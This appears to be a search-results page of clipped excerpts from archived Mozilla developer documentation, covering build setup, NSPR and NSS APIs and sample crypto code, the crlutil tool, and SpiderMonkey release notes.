m does this for you. the primary job of configure is to determine characteristics of the system and compiler, apply options passed into it, and validate everything looks ok to build. the primary output of the configure script is an executable file in the object directory called config.status. configure also produces some additional files (like autoconf.mk). however, the most important file in terms of architecture is config.status. the existence of a config.status file may be familiar to those who have worked with autoconf before. however, mozilla's config.status is different from many other config.status files, as it's written in python! instead of our configure script producing a shell script, it generates a python script. python 2 is prevalent in a mozilla build system. if we need to w...
...ere are source files from several directories that are part of the shared library. static libraries may also be linked into an executable. non-component shared libraries a non-component shared library is useful when there is common code that several components need to share and sharing it through xpcom is not appropriate or not possible. ...
...eral components need to share and sharing it through xpcom is not appropriate or not possible. as an example, below is a portion of the makefile for libmsgbaseutil, which is linked against by all of the main news components: depth = ../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = msgbaseutil library_name = msgbaseutil export_library = 1 short_libname = msgbsutl notice that the only change from the component example above is that is_component is not set. when this is not set, a shared library will be created and installed to dist/bin. static libraries as mentioned above, static libraries are most commonly used as intermediate steps to building a larger library (us...
...And 2 more matches
Simple Thunderbird build
you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisit...
...able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the so...
... long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it closer to the root of your machine and re-building. get the latest mozilla source code from mozilla's mozilla-central mercurial code repository, and check it out into a local directory source/ (or however you want to call it). then, get the latest thunderbird sou...
...And 2 more matches
Eclipse CDT
when eclipse's indexer tries to process the mozilla source, eclipse will need considerably more memory than the limits imposed by its default configuration. you can increase eclipse's memory limits using the eclipse.ini that lives alongside the eclipse binary. set an initial heap space of 1 gb and max heap space of 5 gb, say, by modifying the values of the following two lines in eclipse.ini: -xms1g -xmx5g if you fail to increase these limits, then you will likely find that eclipse either hangs when it tries to index the mozilla source or else that the code intelligence is very broken after the indexing "completes". express setup for the eclipse indexer to work well you must first build mozilla, so that it includes headers from the objdir etc. these can be found and processed by eclipse...
...your .mozconfig file relative to the top source directory. set any other environment variables you want to set for the build, then close the project properties window. now when you hit the build button (the little hammer icon), you should see the source build in the console tab at the bottom of the window. the benefit of building from inside eclipse is that build errors will appear in the problems tab at the bottom of the window, and from there you can double click on the build error and it will take you straight to the source file and line where the problem occurred. for this to work reliably though, you still need to build using slow -j1 -w builds, so that make outputs non-interleaved "entering"/"leaving" lines. it also used to be necessary to add the following two lines to your mozconfi...
...t's wrong. the parser error indicators don't seem to show (reliably?) until you open a source file, then error markers will be added for that file. to force all markers to show for a directory in the project explorer tab, right-click that directory in the project explorer tab and select "run c/c++ code analysis". ...
...And 2 more matches
Obsolete Build Caveats and Tips
g ! from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a previous version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs. in reality, you should probably not need to do this, since that code is very obsolete. this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows. if you're using visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes". from source_code/mercurial mozilla-...
.... gecko 1.9.2 through 11: if you're building with this sdk, you will need to add ac_add_options --with-windows-version=502 to your .mozconfig. for mozilla-1.9.1 and mozilla-1.9.0, you need to add ac_add_options --disable-vista-sdk-requirements to your .mozconfig instead. unsupported sdks the windows sdk for windows server 2008 is not supported, and has been found to cause the following problems: breaks the vcvars32.bat file from visual studio 2008 no longer sets the correct path for the .net framework causes an invalid path which breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it. the sdk will break builds even if you try to use other sdks. other possible workarounds: use another sdk (the one shipped with visual studio 9). delete the vcv...
...h breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it. the sdk will break builds even if you try to use other sdks. other possible workarounds: use another sdk (the one shipped with visual studio 9). delete the vcvars32.bat file and repair your visual studio installation with the setup program. ...
...And 2 more matches
Cross Process Object Wrappers
sponsive to users. converting synchronous code to be asynchronous can be difficult and time-consuming. as a migration aid, the messaging framework enables frame scripts to make content objects available to chrome through a wrapper called a cross process object wrapper, also known as a cpow. however, although cpows are convenient, they have serious limitations and can cause responsiveness problems, so should only be used when necessary and only as a migration aid. passing cpows from frame scripts frame scripts can send messages to chrome using one of two global functions: sendasyncmessage() or sendsyncmessage(). the optional third parameter to each of these functions is an object whose properties are objects to wrap. for example, this frame script sends a dom node to chrome when the user...
...this means that examples like this will actually work, even in multiprocess firefox: gbrowser...
...sagelistener("my-e10s-extension-message", handlemessage); function handlemessage(message) { let wrapper = message.objects.clicked; console.log(wrapper.innerhtml); wrapper.innerhtml = "<h2>modified by chrome!</h2>" wrapper.setattribute("align", "center"); } auto-generated cpows add-ons that have not declared themselves multiprocess compatible are set up with a number of compatibility shims. one of these shims provides the following behavior: whenever chrome code tries to access content directly (for example, through window.content or browser.contentdocument), it is given back a cpow that wraps the content object. this means that examples like this will actually work, even in multiprocess firefox: gbrowser.selectedbrowser.contentdocument.body.innerhtml = "replaced by chrome code"; ...
...And 2 more matches
Fonts for Mozilla 2.0's MathML engine
eed to install additional fonts and to follow the instructions below. you may also want to check out the mozilla mathml torture test to test your installation against concrete examples. on windows: use this mathml fonts installer. on mac os x lion (10.7) and higher versions, stix fonts are already installed and can be used for mathml. on most linux distributions and similar open source platforms, you can install math fonts (stix, asana or mathjax fonts) from your package manager or get them from this zip archive. on android, firefox os and other platforms where the instructions above do not work: install the mathml-fonts add-on. this requires gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or higher. overview mathematical formulas make use of various symbols represented b...
... do not in general have unicode assignments, and so font-specific support is required for some characters. mozilla has general support for the common delimiters and arrows that have the necessary unicode assignments. for other characters, mozilla has font-specific support. in general, if the necessary glyphs are not available on the system then mozilla tries to stretch symbols using scale transforms, but that may result in a less pleasant rendering. to see mathml as intended, you need sufficient font support, which may mean installing some fonts. note that some web sites may provide the required mathematical fonts as web fonts. in that case, you will see the correct rendering on these pages if you use gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or greater. recommended fonts...
... be installed via your software manager. for convenience we provide a zip archive of mathml fonts. the fonts may be installed by extracting the font files (which have the .otf extension) from the zip archive, then following instructions for microsoft windows, or copying the files to a ~/library/fonts folder on mac os x, or to a ~/.fonts/ directory (which may need to be created) on unix/linux systems. alternatively, follow dafont's "how to install a font". these fonts are opentype postscript fonts, which are supported by most modern operating systems. however some operating systems may not support these fonts. on such systems, it will be necessary to convert the fonts to a supported format. for example asana math is available in truetype format and there is an unofficial truetype conversion f...
...And 2 more matches
MathML In Action
ably missing some crucial mathml fonts. now that you are well-equipped, you should be able to see this inline equation with varying accents: x ^ + x⁢y ^ + x⁢y⁢z ^ . next to it is this tiny formula, det | a c b d | = a d - b c , which can also be typeset in displaystyle as det | a b c d | = a d - b c . mathematical typesetting is picky. mathml in mozilla aims at complying with the mathml specification so that what you see is what you markup, or to put it another way what you see is what you made, or in short "wysiwym". the difference between these two is in the markup! ( ... ( ( a 0 + a 1 ) n 1 + a 2 ) n 2 + ... + a p ) n p ( ... ( ( a 0 + a 1 ) n 1 + a 2 ) n 2 + ... + a p ) n p the roots of this...
... n 2 + ... + a p ) n p the roots of this bold equation y 3 + p y + q = 0 are also bold y = - q 2 + q 2 4 + p 3 27 2 3 + - q 2 - q 2 4 + p 3 27 2 3 . ...
...n/zoom-out: zoomable math html content <p> <math display="block"> <mstyle id="zoomablemath" mathbackground="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>&#xb1;</mo> <msqrt> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo>-</mo> <mrow> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> </mrow> </msqrt> ...
...And 2 more matches
Profiling with Xperf
he first version number in the about window; that's the windows version.) if you have an older version, you will experience bugs, especially around symbol loading for local builds. installation for all versions, the tools are part of the latest windows 7 sdk (sdk version 7.1). use the web installer to install at least the "win32 development tools". once the sdk installs, execute either wpt_x86.msi or wpt_x64.msi in the redist/windows performance toolkit folder of the sdk's install location (typically program files/microsoft sdks/windows/v7.1/redist/windows performance toolkit) to actually install the windows performance toolkit tools. it might already be installed by the windows sdk. check if c:\program files\microsoft windows performance toolkit already exists. for 64-bit windows 7 o...
...ke sure you set the symbol paths before enabling "load symbols" and before opening a summary view. you can also modify the _nt_symbol_path and _nt_symcache_path environment variables to make these changes permanent. ...
...if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the new symbol path data. ...
...And 2 more matches
NSPR Contributor Guide
we (the nspr module owners) sometimes disappoint our contributors when we must reject their contributions. we reject contributions for a variety of reasons. some of these reasons are not obvious to an outside observer. nspr wishes to document some guidelines for those who would contribute to nspr. these guidelines should help the contributor in crafting his contribution, increasing its likelihood for acceptance. ...
... library, for example: libnspr4.dll nspr is mostly complete. new apis are driven mostly by the os vendors as they add new features. should you decide that there's something that nspr does not cover that should be covered, let's talk. your proposed api should encapsulate a relatively low level capability as would be found in a system call or libc. your new feature must be implemented on all platforms supported by nspr. when you consider a new api for nspr ask yourself if your proposed feature can implement it across all platforms supported by nspr. if several platforms cannot be made to implement your api, then it is not a good candidate for inclusion in nspr. before you begin what may be a substantial effort in making a candidate feature for nspr, talk to us. we may tell you that you have a ...
...e generalized, hence a good candidate for inclusion in nspr. use bugzilla to track your work. be verbose. nspr wants you to document your work. if we accept it, we are going to have to answer questions about it and/or maintain it. these are some guidelines for new apis that you may add to nspr. header file descriptions. provide header file descriptions that fully document your public typedefs, enums, macros and functions. see: prshm.h as an example of how your header file(s) should be documented. source file descriptions. provide descriptive documentation in your source (*.c) files. alas, we have no source files documented as we think they should be. the following are some general guidelines to use when implementing new features: don't export global variables your code must be thread safe...
...And 2 more matches
Named Shared Memory
the chapter describes the nspr api for named shared memory. shared memory allows multiple processes to access one or more common shared memory regions, using it as an interprocess communication channel. the nspr shared memory api provides a cross-platform named shared-memory interface that is modeled on similar constructs in the unix and windows operating systems. shared memory protocol named shared memory functions shared memory protocol using named shared memory functions pr_opensharedmemory creates the shared memory segment, if it does not already exist, or opens a connection with the existing shared memory segment if it already exists. pr_attachsharedmemory should be called following pr_opensharedmemory to map the memory segment to an address in the application's address space.
...nvalid and cannot be reused. pr_deletesharedmemory should be called before process termination. after you call pr_deletesharedmemory, any further use of the shared memory associated with the name may cause unpredictable results. filenames the name passed to pr_opensharedmemory should be a valid filename for a unix platform. pr_opensharedmemory creates file using the name passed in. some platforms may mangle the name before creating the file and the shared memory. the unix implementation may use sysv ipc shared memory, posix shared memory, or memory mapped files; the filename may be used to define the namespace. on windows, the name is significant, but there is no file associated with the name. no assumptions about the persistence of data in the named file should be made. depending on pla...
...file should be made. depending on platform, the shared memory may be mapped onto system paging space and be discarded at process termination. all names provided to pr_opensharedmemory should be valid filename syntax or name syntax for shared memory for the target platform. referenced directories should have permissions appropriate for writing. ...
...And 2 more matches
Running NSPR tests
refer to nspr build instructions for details. ...
...refer to nspr build instructions for details. ...
... passed xnotify passed zerolen passed end mon mar 12 11:55:47 pdt 2007 how to determine if the test suite passed if all the tests reported passed as the results, the test suite passed. ...
...And 2 more matches
Encrypt Decrypt MAC Keys As Session Objects
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
Encrypt and decrypt MAC using token
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
NSS 3.52 release notes
quires nspr 4.25 or newer. nss 3.52 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_rtm/src/ other releases are available in nss releases. notable changes in nss 3.52 bug 1603628 - update nss to support pkcs #11 v3.0. note: this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition. if an application is recompiled with nss 3.52+, this field must be initialized to a value corresponding to ulivlen. alternatively, defining nss_pkcs11_2_0_compat will yield the old definition. see the bug for more information. bug 1623374 - support new pkcs #11...
...inition. see the bug for more information. bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and chachapoly. bug 1612493 - integrate avx2 chacha20, poly1305, and chacha20poly1305 from hacl*. bugs fixed in nss 3.52 bug 1633498 - fix unused variable 'getauxval' error on ios compilation. bug 1630721 - add softoken functions for fips. bug 1630458 - fix problem of gyp msvc builds not producing debug symbol files. bug 1629663 - add ikev1 quick mode kdf. bug 1629661 - mpconfig calls in ssl initialize policy before nss is initialized. bug 1629655 - support temporary session objects in ckfw. bug 1629105 - add pkcs11 v3.0 functions to module debug logger. bug 1626751 - fix error in generation of fuzz32 docker image after updates. bug 1625133 - fix implicit decla...
...er. bug 1626751 - fix error in generation of fuzz32 docker image after updates. bug 1625133 - fix implicit declaration of function 'getopt' error. bug 1624864 - allow building of gcm-arm32-neon on non-armv7 architectures. bug 1624402 - fix compilation error in firefox android. bug 1624130 - require ck_function_list structs to be packed. bug 1624377 - fix clang warning for unknown argument '-msse4'. bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and chachapoly. bug 1623184 - fix freebl_cpuid for querying extended features. bug 1622555 - fix argument parsing in lowhashtest. bug 1620799 - introduce nss_disable_gcm_arm32_neon to build on arm32 without neon support. bug 1619102 - add workaround option to include both dtls and tls versions in dtls supported_versio...
...And 2 more matches
NSS API Guidelines
el cryptographic support operations: such as signing, verifying signatures, key generation, key manipulation, hashing; and data types. this code is above the pkcs #11 layer. sign/verify lib/cryptohi cryptohi.h, cryptoht.h, hasht.h, keyhi.h, keythi.h, key.h, keyt.h, sechash.h fort provides a pkcs #11 interface, to fortezza crypto services. fortezza is a set of security algorithms, used by the u.s. government. there is also a swft library that provides a software-only implementation of a pkcs #11 fortezza token. pkcs #11 lib/fortcrypt cryptint.h, fmutex.h, fortsock.h, fpkcs11.h, fpkcs11f.h, fpkcs11t.h, fpkmem.h, fpkstrs.h, genci.h, maci.h freebl provides the api to actual cryptographic operations. the freebl is a wrapper api. you must supply a library ...
...ld have the form layer_body(), where layer is an all caps prefix for what layer the macro lives in, and body is english words, all in upper case, separated by underscores. for example: layer_upper_case_english_words() or der_convert_bit_string(). structure members for exposed data structures should have the form capitalizedenglishwords (the first letter uncapitalized). for example: pk11rsagenparamsstr.keysizeinbits for members of enums, our current api has no standard (typedefs for enums should follow the data types standard). there seem to be three reasonable options: enum members have the same standard as exposed data structure members. enum members have the same standard as data types. enum members have the same standard as public macros (minus the '()' of course). opti...
... should follow the data types standard). there seem to be three reasonable options: enum members have the same standard as exposed data structure members. enum members have the same standard as data types. enum members have the same standard as public macros (minus the '()' of course). options 2 and 3 are the more preferred options. option 1, currently the most common used for enums, actually creates namespace pollution. callback functions, and functions used in function tables, should have a typedef used to define the complete signature of the given function. function typedefs should have the following format: layerbody(), with the same definitions for layer as public functions, and body is camel case english words. for example: layercapitalizedenglishwords or seckeyprivat...
...And 2 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
... return rv; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noise, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenparams rsaparams; void *params; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_r...
...atus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdate(randbuf, blocksize); switch (keytype) { case rsakey: rsaparams.keysizeinbits = size; rsaparams.pe = publicexponent; mechanism = ckm_rsa_pkcs_key_pair_gen; algtag = sec_oid_pkcs1_md5_with_rsa_encryption; params = &rsaparams; break; default: goto cleanup; } fprintf(stderr, "\n\n"); fprintf(stderr, "gen...
...And 2 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf...
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
sample2
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...ilure; goto cleanup; } } } hextobuf(body, item, ishexdata); cleanup: if (file) { pr_close(file); } return rv; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noise, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenparams rsaparams; void *params; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdate(randbuf, blocksize); switch (keytype) { case rsakey: rsaparams.keysizeinbits = size; rsaparams.p...
... rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdate(randbuf, blocksize); switch (keytype) { case rsakey: rsaparams.keysizeinbits = size; rsaparams.pe = publicexponent; mechanism = ckm_rsa_pkcs_key_pair_gen; algtag = sec_oid_pkcs1_md5_with_rsa_encryption; params = &rsaparams; break; default: goto cleanup; } fprintf(stderr, "\n\n"); fprintf(stderr, "generating key. ...
...And 2 more matches
PKCS #11 Module Specs
heck if the 'new' preserved field is null if and only if libraryparameters field is not null. nss specific parameters in module specs here are the nss application specific parameters in use. this data is currently stored in secmod.db or pkcs11.txt. this isn't part of the generic spec (that is other applications need not parse it, nor pkcs #11 modules need supply them or use them). nss="nss_params" nss_params are themselves name/value pairs, parsed with the same rules described above. valid names inside nss_params are: flags - comma separated list of flag values, parsed case-insensitive. valid flag values are: internal - this library is actually the netscape internal library fips - this library is the netscape internal fips library. critical - if this library cannot be loaded...
...f two pkcs#11 libraries which have the same trustorder value is undefined. cipherorder - integer value specifiying the order in which tokens are searched when looking for a token to do a generic operation (des/hashing, etc). ciphers - comma separated list of ciphers this token will enable that isn't already enabled by the library (currently only fortezza is defined) (case-insensitive). slotparams - space separated list of name/value pairs where the name is a slotid and the value is a space separated list of parameters related to that slotid. valid slotparams values are: slotflags - comma separated list of cipher groups which this slot is expected to be the default implementation for (case-insensitive). valid flags are: rsa - this token should be used for all rsa operations (o...
...lags means nss will not try to authenticate to the token when searching for certificates. this removes spurious password prompts, but if incorrectly set it can also cause nss to miss certificates in a token until that token is explicitly logged in. rootflags - comma separated of flags describing any root certs that may be stored (case-insensitive). valid flags are: hasrootcerts - claims that this token has the default root certs and trust values. at init time nss, will try to look for a default root cert device if one has not already been loaded. hasroottrust - parsed but ignored. timeout - time in minutes before the current authentication should be rechecked. this value is only used if askpwd is set to 'timeout'. (default = 0). askpwd - case-insensitive flag describin...
...And 2 more matches
troubleshoot.html
if you have suggestions for this page, please post them to mozilla.dev.tech.crypto. building nss having /usr/ucb/bin in the path before /usr/ccs/bin breaks the build on 64-bit solaris. the solaris compiler needs to be workshop-5.0 or greater. the 64-bit builds don't support gcc. ...
...cd mozilla cvs update -p building a 32-bit version on a 64-bit may fail with: /usr/include/features.h:324:26: fatal error: bits/predefs.h: no such file or directory in this case remember to set use_64=1 testing nss the ssl stress test opens 2,048 tcp connections in quick succession. kernel data structures may remain allocated for these connections for up to two minutes. ...
... the ssl stress test opens 2,048 tcp connections in quick succession. kernel data structures may remain allocated for these connections for up to two minutes. some systems may not be configured to allow this many simultaneous connections by default; if the stress tests fail, try increasing the number of simultaneous sockets supported. building jss windows only: the shell invoked by gmake, shmsdos.exe, is likely to crash when invoking some java tools on windows. ...
...And 2 more matches
gtstd.html
p would be very much appreciated. upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases. ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security services. before running the sample programs, it's important to understand the relationships between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases. a pkcs #11 module (also called a crypt...
...pkcs #11 module can in turn contain a token, which is the hardware or software device that actually provides cryptographic services and optionally stores certificates and keys. netscape provides three built-in modules with nss and with server and client products: the default netscape internal pkcs #11 module comes with two built-in tokens: the generic crypto services token performs all cryptographic operations, such as encryption, decryption, and hashing. the communicator certificate db token handles all communication with the certificate and key database files (called certx.db and keyx.db, respectively, where x is a version number) that store certificates and keys. the fortezza module is intended for use with fortezza hardware tokens. the fips 140-1 mo...
... pkcs #11 module information within secmod.db files. the security module database tool allows you to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips-140-1 compliance, and assign default providers for cryptographic operations. setting up the certificate and key databases before you can run the sample programs (server.c and client.c) that come with nss, you must set up certificate, key, and security module databases for both the client and the server and populate them with valid ca, client ssl, and server ssl certificates. the following sections decribe how to the certificate database tool to perform these tasks: setting up the ca db and certificate setting up the server db and certificate setting...
...And 2 more matches
NSS Tools crlutil
see certutil tool) and continues with certificates expiration or revocation. this document discusses certificate revocation list management. for information on security module database management, see using the security module database tool. for information on certificate and key database management, see using the certificate database tool. availability see the release notes for the platforms this tool is available on. syntax to run the certificate revocation list management tool, type the command crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h ...
...ord-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to prevent unauthorized access to this file. -l algorithm-name specify a specific signature algorithm. list of possible algorithms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for ...
...e. this option is obsolete -u url specify the url. crl generation script syntax: crl generation script file has the following syntax: line with comments should have <bold>#</bold> as a first symbol of a line set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z add an extension to a crl or a crl certificate entry: addext extension-name critical/non-critical [arg1[arg2 ...]] where: extension-name: string value of a name of known extensions. criti...
...And 2 more matches
SpiderMonkey 1.8.7
s es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. ...
...it's the same language, just not as fast. migrating to spidermonkey 1.8.7 this covers migrating from version 1.8.5. see the 1.8.5 release notes for information on migrating from earlier versions. ...
...some c++ helpers have been introduced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself. jsautorequest jsautosuspendrequest jsautocheckrequest jsautoentercompartment js::anchor<> js::call obsolete apis j...
...And 2 more matches
SpiderMonkey 1.8.8
er jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. ...
...it's the same language, just not as fast. ...
...it's the same language, just not as fast. migrating to spidermonkey 1.8.8 the following features in earlier versions of spidermonkey have been dropped. ...
...And 2 more matches
SpiderMonkey 31
this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. the download url is outdated and spidermonkey not release alone! get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform support spidermonkey 31 is supported on all the platforms where firefox 31 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped. spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported...
...it's the same language, just not as fast. ...
...it's the same language, just not as fast. migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method. ...
...And 2 more matches
Redis Tips
